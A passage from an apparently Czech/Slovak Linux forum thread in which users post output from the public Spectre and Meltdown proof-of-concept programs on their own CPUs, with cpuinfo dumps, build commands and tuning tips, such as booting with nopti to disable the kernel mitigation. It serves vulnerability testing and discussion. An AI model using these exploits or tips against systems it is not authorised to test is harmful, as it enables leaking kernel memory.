Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=7 (second best: 0xAE score=1)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=7 (second best: 0x05 score=1)
i5-6600K, Linux Thora 4.14.11-300.fc27.x86_64 #1 SMP Wed Jan 3 13:52:28 UTC 2018

S cache hit prahem 27, jinak je skóre hrozně vysoké.
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=15 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Unclear: 0x61=’a’ score=16 (second best: 0x62 score=13)
Reading at malicious_x = 0xffffffffffdffac6... Unclear: 0x67=’g’ score=12 (second best: 0x00 score=10)
Reading at malicious_x = 0xffffffffffdffac7... Unclear: 0x69=’i’ score=15 (second best: 0x6A score=9)
Reading at malicious_x = 0xffffffffffdffac8... Unclear: 0x63=’c’ score=11 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=15 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffaca... Unclear: 0x57=’W’ score=12 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffacb... Unclear: 0x6F=’o’ score=13 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffacc... Unclear: 0x72=’r’ score=9 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=14 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=14 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdffacf... Unclear: 0x20=’ ’ score=14 (second best: 0x00 score=15)
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=16 (second best: 0x62 score=8)
Reading at malicious_x = 0xffffffffffdffad1... Unclear: 0x72=’r’ score=13 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffad2... Unclear: 0x65=’e’ score=13 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=17 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffad4... Unclear: 0x53=’S’ score=12 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdffad5... Unclear: 0x00=’?’ score=12 (second best: 0x71 score=14)
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdffad7... Unclear: 0x05=’?’ score=11 (second best: 0x65 score=10)
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Unclear: 0x6D=’m’ score=11 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffada... Unclear: 0x69=’i’ score=12 (second best: 0x6A score=8)
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Unclear: 0x4F=’O’ score=12 (second best: 0x05 score=11)
Reading at malicious_x = 0xffffffffffdffadf... Unclear: 0x73=’s’ score=10 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffae0... Unclear: 0x73=’s’ score=10 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=21 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffae2... Unclear: 0x66=’f’ score=12 (second best: 0x05 score=12)
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=18 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffae4... Unclear: 0x61=’a’ score=16 (second best: 0x05 score=9)
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Unclear: 0x65=’e’ score=11 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdffae7... Unclear: 0x2E=’.’ score=16 (second best: 0x00 score=10)
Wedos VPS, Linux Broken.devoid-pointer.net 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff8c8... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8c9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ca... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8cb... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8cc... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8cd... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8ce... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8cf... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d0... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d1... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d2... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d3... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d4... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8d5... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d6... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d7... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d9... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8da... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8db... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8dc... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8dd... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8de... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8df... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e0... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e1... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e2... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8e3... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8e4... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e5... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e6... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e7... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ea... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8eb... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8ec... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ed... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8ee... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ef... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
6.1. 21:17 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Je tu taky někdo komu ten program (s tou starou instrukcí rdtsc) jede jen pokud je zkompilovanej ve 32bit a na 64bit nic nenajde?
7.1. 10:11 janc1c1
Rozbalit Rozbalit vše meltdown
tak som skúsil ten test na meltdown.

#1 stiahol som s githubu ten program #2 spustil make #3 run.sh
looking for linux_proc_banner in /proc/kallsyms
cached = 21, uncached = 227, threshold 69
read ffffffff98c00060 = ff  
read ffffffff98c00061 = ff  
read ffffffff98c00062 = ff  
read ffffffff98c00063 = ff  
read ffffffff98c00064 = ff  
read ffffffff98c00065 = ff  
read ffffffff98c00066 = ff  
read ffffffff98c00067 = ff  
read ffffffff98c00068 = ff  
read ffffffff98c00069 = ff  
read ffffffff98c0006a = ff  
read ffffffff98c0006b = ff  
read ffffffff98c0006c = ff  
read ffffffff98c0006d = ff  
read ffffffff98c0006e = ff  
read ffffffff98c0006f = ff  
NOT VULNERABLE
aha, už asi mám ten patch, používam archlinux ... dopad záplaty kernelu KPTI

cpu vypisuje bugs: cpu_insecure
processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 70
model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
stepping	: 1
microcode	: 0x17
cpu MHz		: 2194.956
cache size	: 6144 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt dtherm ida arat pln pts
bugs		: cpu_insecure
bogomips	: 4391.82
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:
tak som restartol s parametrom nopti pre kernel, a je to jasne
looking for linux_proc_banner in /proc/kallsyms
cached = 23, uncached = 202, threshold 68
read ffffffffbcc00060 = 25 %
read ffffffffbcc00061 = 73 s
read ffffffffbcc00062 = 20  
read ffffffffbcc00063 = 76 v
read ffffffffbcc00064 = 65 e
read ffffffffbcc00065 = 72 r
read ffffffffbcc00066 = 73 s
read ffffffffbcc00067 = 69 i
read ffffffffbcc00068 = 6f o
read ffffffffbcc00069 = 6e n
read ffffffffbcc0006a = 20  
read ffffffffbcc0006b = 25 %
read ffffffffbcc0006c = 73 s
read ffffffffbcc0006d = 20  
read ffffffffbcc0006e = 28 (
read ffffffffbcc0006f = 62 b
VULNERABLE
VULNERABLE ON
4.14.11-1-ARCH #1 SMP PREEMPT Wed Jan 3 07:02:42 UTC 2018 unknown
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 70
model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
stepping	: 1
microcode	: 0x17
cpu MHz		: 2195.070
cache size	: 6144 KB
physical id	: 0
7.1. 14:23 marbu | skóre: 29 | blog: hromada | Brno
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Na procesoru Intel Atom z roku 2012 podle očekávání spectre nefunguje :)
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 28
model name      : Intel(R) Atom(TM) CPU N570   @ 1.66GHz
stepping        : 10
microcode       : 0x107
cpu MHz         : 1334.000
cache size      : 512 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 10
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm
constant_tsc arch_perfmon pebs bts nopl cpuid aperfmperf pni dtes64 monitor
ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm movbe lahf_lm tpr_shadow vnmi
flexpriority dtherm
bugs            :
bogomips        : 3324.95
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:
$ make
gcc -march=native -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional
expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffad0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad7... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad8... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad9... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffada... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadb... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadc... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadd... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffade... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadf... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae7... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae8... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae9... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaea... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaeb... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaec... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaed... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaee... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaef... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf7... Success: 0xFF=’ score=0
Patch z komentáře #8 způsobí core dump (chybějící rdtscp).
I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
7.1. 15:31 marbu | skóre: 29 | blog: hromada | Brno
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Stejně tak i meltdown (reproducer z github.com/paboldin/meltdown-exploit):

$ make CFLAGS='-DHAVE_RDTSCP=0' clean all
rm -f meltdown.o meltdown
cc -DHAVE_RDTSCP=0   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
cached = 39, uncached = 200, threshold 88
read ffffffffaba000a0 = ff  
read ffffffffaba000a1 = ff  
read ffffffffaba000a2 = ff  
read ffffffffaba000a3 = ff  
read ffffffffaba000a4 = ff  
read ffffffffaba000a5 = ff  
read ffffffffaba000a6 = ff  
read ffffffffaba000a7 = ff  
read ffffffffaba000a8 = ff  
read ffffffffaba000a9 = ff  
read ffffffffaba000aa = ff  
read ffffffffaba000ab = ff  
read ffffffffaba000ac = ff  
read ffffffffaba000ad = ff  
read ffffffffaba000ae = ff  
read ffffffffaba000af = ff  
NOT VULNERABLE
I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
8.1. 00:24 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Ještě, jestli máš compat32, tak můžeš zkusit spectre zkompilovat do 32bit. Mě to čte RAM jen jako 32bit binárka.
Grunt avatar 7.1. 22:19 Grunt | skóre: 23 | blog: Expresivní zabručení | Lanžhot
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Co to zas je? Neříkejte mi že v nějakém Pentiu je zas další bug. Protože to by bylo překvapení, skutečně…
Na co 64-bitů když to jde i s jedním? | 80.78.148.5 | Hack (for) free or Die Hard!
7.1. 23:17 marbu | skóre: 29 | blog: hromada | Brno
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Kdyby tak byl ten Pentium FDIV bug poslední vážný problém Intel procesorů ... :-)
I think warning here is a bug. The biggest cloud service provider. There is no point in being so cool in a cold world.
Mark Stopka avatar 7.1. 23:29 Mark Stopka | skóre: 58 | blog: Paranoidní blog | European Economic Area
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Právě že to byl pro řadu Pentium první, ne? :)
8.1. 00:26 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
FDIV je proti tomuhle jen drobná nepřesnost :-D. Ale je vtipný, že to bylo způsobený taky špatnou verifikací modelu (špatné hodnoty v některých položkách tabulky, co ten FDIV měla urychlovat).
8.1. 23:31 R
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Rozdiel je v tom, ze Intel tie chybne procesory vtedy zakaznikom menil v zaruke za bezchybne.
8.1. 23:59 trekker.dk | skóre: 71
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Poté, co k tomu byl dokopán - zezačátku měnili jenom v případě, že uznali, že zákazník "potřebuje" přesné výpočty v plovoucí řádové čárce.
Quando omni flunkus moritati
10.1. 05:24 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre a Meltdown na AMD
Ďalej vyšiel Vulnerability Online Check Tool ktorý testuje zranitelnosť browsera:
Mě to rovnou napíše že invulnerable. To je naprd (nejspíš testuje verzi FF, to žě to verze tvrdí ještě neznamená že to nejde :-D), takhle nemůžu testovat různé konfigurace.

BTW by byla legrace kdyby to byl fake a ten web jen sbíral statistiku :P .

Jinak HP 255 G5 (AMD APU). Varianta s rdtscp. Na defaultní hodnotu to hodí tak každý 4 písmeno. Po zvýšení thresholdu na 100 vypiše.
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1350.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1800.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 4
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1350.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 4
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1200.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 3
cpu cores	: 4
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfec20... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfec21... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfec22... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec23... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec24... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfec25... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec26... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfec27... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfec28... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfec29... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec2a... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfec2b... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfec2c... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec2d... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfec2e... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec2f... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec30... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec31... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec32... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec33... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec34... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfec35... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfec36... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfec37... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec38... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec39... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfec3a... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfec3b... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec3c... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfec3d... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec3e... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfec3f... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec40... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec41... Success: 0x69=’i’ score=2 
